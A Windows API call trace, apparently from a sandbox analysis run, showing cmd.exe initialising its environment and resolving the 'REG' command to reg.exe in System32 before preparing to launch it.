	[0247.396] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.396] GetProcessHeap () returned 0x1d0000
	[0247.396] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x218) returned 0x1eaba0
	[0247.396] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1eabb0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0247.396] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.396] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.396] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.396] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0247.396] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0247.397] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0247.397] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0247.397] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0247.397] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0247.397] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0247.397] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0247.397] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0247.397] GetProcessHeap () returned 0x1d0000
	[0247.397] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e9680 | out: hHeap=0x1d0000) returned 1
	[0247.397] GetEnvironmentStringsW () returned 0x1e8bf0*
	[0247.397] GetProcessHeap () returned 0x1d0000
	[0247.397] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xa94) returned 0x1eb860
	[0247.398] FreeEnvironmentStringsW (penv=0x1e8bf0) returned 1
	[0247.398] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.398] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.398] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0247.398] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0247.398] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0247.398] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0247.398] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0247.398] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0247.398] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0247.398] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0247.399] GetProcessHeap () returned 0x1d0000
	[0247.399] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5c) returned 0x1d1320
	[0247.399] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f810 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f810, lpFilePart=0x16f7f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f7f0*="Desktop") returned 0x25
	[0247.399] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.399] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f520 | out: lpFindFileData=0x16f520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd0000cd, cFileName="Users", cAlternateFileName="")) returned 0x1d1390
	[0247.399] FindClose (in: hFindFile=0x1d1390 | out: hFindFile=0x1d1390) returned 1
	[0247.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f520 | out: lpFindFileData=0x16f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd0000cd, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x1d1390
	[0247.400] FindClose (in: hFindFile=0x1d1390 | out: hFindFile=0x1d1390) returned 1
	[0247.400] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0247.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f520 | out: lpFindFileData=0x16f520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28993240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x28993240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd0000cd, cFileName="Desktop", cAlternateFileName="")) returned 0x1d1390
	[0247.400] FindClose (in: hFindFile=0x1d1390 | out: hFindFile=0x1d1390) returned 1
	[0247.400] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.400] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0247.401] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0247.401] GetProcessHeap () returned 0x1d0000
	[0247.401] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb860 | out: hHeap=0x1d0000) returned 1
	[0247.401] GetEnvironmentStringsW () returned 0x1e8bf0*
	[0247.401] GetProcessHeap () returned 0x1d0000
	[0247.401] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xae8) returned 0x1eadc0
	[0247.401] FreeEnvironmentStringsW (penv=0x1e8bf0) returned 1
	[0247.401] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.401] GetProcessHeap () returned 0x1d0000
	[0247.401] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1320 | out: hHeap=0x1d0000) returned 1
	[0247.401] GetProcessHeap () returned 0x1d0000
	[0247.401] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x4016) returned 0x1ecdf0
	[0247.402] GetProcessHeap () returned 0x1d0000
	[0247.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x124) returned 0x1eb8b0
	[0247.402] GetProcessHeap () returned 0x1d0000
	[0247.402] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdf0 | out: hHeap=0x1d0000) returned 1
	[0247.402] GetConsoleOutputCP () returned 0x1b5
	[0247.403] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.403] GetUserDefaultLCID () returned 0x409
	[0247.404] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a537b50, cchData=8 | out: lpLCData=":") returned 2
	[0247.404] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f920, cchData=128 | out: lpLCData="0") returned 2
	[0247.404] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f920, cchData=128 | out: lpLCData="0") returned 2
	[0247.404] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f920, cchData=128 | out: lpLCData="1") returned 2
	[0247.404] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a54a740, cchData=8 | out: lpLCData="/") returned 2
	[0247.404] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a54a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a54a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a54a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a54a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a54a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a54a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a54a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a537b40, cchData=8 | out: lpLCData=".") returned 2
	[0247.405] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a54a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0247.405] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0247.406] GetProcessHeap () returned 0x1d0000
	[0247.406] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20c) returned 0x1eba50
	[0247.406] GetConsoleTitleW (in: lpConsoleTitle=0x1eba50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0247.407] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0247.407] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0247.407] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0247.407] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0247.408] GetProcessHeap () returned 0x1d0000
	[0247.408] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x4012) returned 0x1ecdf0
	[0247.408] GetProcessHeap () returned 0x1d0000
	[0247.408] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdf0 | out: hHeap=0x1d0000) returned 1
	[0247.408] _wcsicmp (_String1="REG", _String2=")") returned 73
	[0247.408] _wcsicmp (_String1="FOR", _String2="REG") returned -12
	[0247.408] _wcsicmp (_String1="FOR/?", _String2="REG") returned -12
	[0247.409] _wcsicmp (_String1="IF", _String2="REG") returned -9
	[0247.409] _wcsicmp (_String1="IF/?", _String2="REG") returned -9
	[0247.409] _wcsicmp (_String1="REM", _String2="REG") returned 6
	[0247.409] _wcsicmp (_String1="REM/?", _String2="REG") returned 6
	[0247.409] GetProcessHeap () returned 0x1d0000
	[0247.409] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xb0) returned 0x1ebc70
	[0247.409] GetProcessHeap () returned 0x1d0000
	[0247.409] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1e8a90
	[0247.425] GetProcessHeap () returned 0x1d0000
	[0247.425] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x11a) returned 0x1ebd30
	[0247.426] GetConsoleTitleW (in: lpConsoleTitle=0x16f830, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0247.427] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0247.428] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0247.428] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0247.428] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0247.428] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0247.428] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0247.428] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0247.428] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0247.428] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0247.428] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0247.428] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0247.428] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0247.428] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0247.428] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0247.428] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0247.428] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0247.428] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0247.428] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0247.429] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0247.429] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0247.429] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0247.429] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0247.429] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0247.429] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0247.429] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0247.429] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0247.429] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0247.429] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0247.429] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0247.429] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
	[0247.429] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0247.429] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0247.429] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0247.429] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0247.429] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0247.429] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0247.429] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0247.429] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0247.430] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0247.430] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0247.430] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0247.430] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0247.430] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0247.430] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0247.430] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0247.430] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0247.430] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0247.430] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0247.430] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0247.430] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0247.430] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0247.430] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0247.430] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0247.430] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0247.430] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0247.430] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0247.430] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0247.430] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0247.431] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0247.431] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0247.431] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0247.431] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0247.431] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0247.431] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0247.431] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0247.431] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0247.431] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0247.431] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0247.431] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0247.431] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0247.431] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0247.431] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
	[0247.431] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0247.431] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0247.431] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0247.431] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0247.431] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0247.432] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0247.432] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0247.432] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0247.432] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0247.432] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0247.432] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0247.432] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0247.432] _wcsicmp (_String1="REG", _String2="FOR") returned 12
	[0247.432] _wcsicmp (_String1="REG", _String2="IF") returned 9
	[0247.432] _wcsicmp (_String1="REG", _String2="REM") returned -6
	[0247.432] GetProcessHeap () returned 0x1d0000
	[0247.432] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x218) returned 0x1ebe60
	[0247.432] GetProcessHeap () returned 0x1d0000
	[0247.432] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x122) returned 0x1ec080
	[0247.433] _wcsnicmp (_String1="REG", _String2="cmd ", _MaxCount=0x4) returned 15
	[0247.433] GetProcessHeap () returned 0x1d0000
	[0247.433] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x420) returned 0x1d1320
	[0247.433] SetErrorMode (uMode=0x0) returned 0x0
	[0247.433] SetErrorMode (uMode=0x1) returned 0x0
	[0247.434] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1d1330, lpFilePart=0x16f0c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f0c0*="Desktop") returned 0x25
	[0247.434] SetErrorMode (uMode=0x0) returned 0x1
	[0247.434] GetProcessHeap () returned 0x1d0000
	[0247.434] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d1320, Size=0x64) returned 0x1d1320
	[0247.434] GetProcessHeap () returned 0x1d0000
	[0247.434] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1d1320) returned 0x64
	[0247.434] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.434] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0247.435] GetProcessHeap () returned 0x1d0000
	[0247.435] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x128) returned 0x1ec1b0
	[0247.435] GetProcessHeap () returned 0x1d0000
	[0247.435] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x240) returned 0x1d13a0
	[0247.866] GetProcessHeap () returned 0x1d0000
	[0247.866] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d13a0, Size=0x12a) returned 0x1d13a0
	[0247.867] GetProcessHeap () returned 0x1d0000
	[0247.867] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1d13a0) returned 0x12a
	[0247.867] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.867] GetProcessHeap () returned 0x1d0000
	[0247.867] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xe8) returned 0x1d14e0
	[0247.868] GetProcessHeap () returned 0x1d0000
	[0247.868] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d14e0, Size=0x7e) returned 0x1d14e0
	[0247.868] GetProcessHeap () returned 0x1d0000
	[0247.868] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1d14e0) returned 0x7e
	[0247.870] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.870] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\REG.*", fInfoLevelId=0x1, lpFindFileData=0x16ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ee30) returned 0xffffffffffffffff
	[0247.871] GetLastError () returned 0x2
	[0247.871] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\REG", fInfoLevelId=0x1, lpFindFileData=0x16ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ee30) returned 0xffffffffffffffff
	[0247.871] GetLastError () returned 0x2
	[0247.871] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.871] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\REG.*", fInfoLevelId=0x1, lpFindFileData=0x16ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ee30) returned 0x1d1570
	[0247.872] GetProcessHeap () returned 0x1d0000
	[0247.872] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x1e4720
	[0247.872] FindClose (in: hFindFile=0x1d1570 | out: hFindFile=0x1d1570) returned 1
	[0247.872] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.COM", fInfoLevelId=0x1, lpFindFileData=0x16ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ee30) returned 0xffffffffffffffff
	[0247.872] GetLastError () returned 0x2
	[0247.873] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.EXE", fInfoLevelId=0x1, lpFindFileData=0x16ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ee30) returned 0x1d1570
	[0247.873] GetProcessHeap () returned 0x1d0000
	[0247.873] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1e4720, Size=0x8) returned 0x1ec2e0
	[0247.873] FindClose (in: hFindFile=0x1d1570 | out: hFindFile=0x1d1570) returned 1
	[0247.873] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0247.873] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0247.873] GetConsoleTitleW (in: lpConsoleTitle=0x16f380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0247.873] InitializeProcThreadAttributeList (in: lpAttributeList=0x16f138, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16f0f8 | out: lpAttributeList=0x16f138, lpSize=0x16f0f8) returned 1
	[0247.873] UpdateProcThreadAttribute (in: lpAttributeList=0x16f138, dwFlags=0x0, Attribute=0x60001, lpValue=0x16f0e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16f138, lpPreviousValue=0x0) returned 1
	[0247.874] GetStartupInfoW (in: lpStartupInfo=0x16f250 | out: lpStartupInfo=0x16f250*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0247.874] GetProcessHeap () returned 0x1d0000
	[0247.874] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x1e4720
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0247.874] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
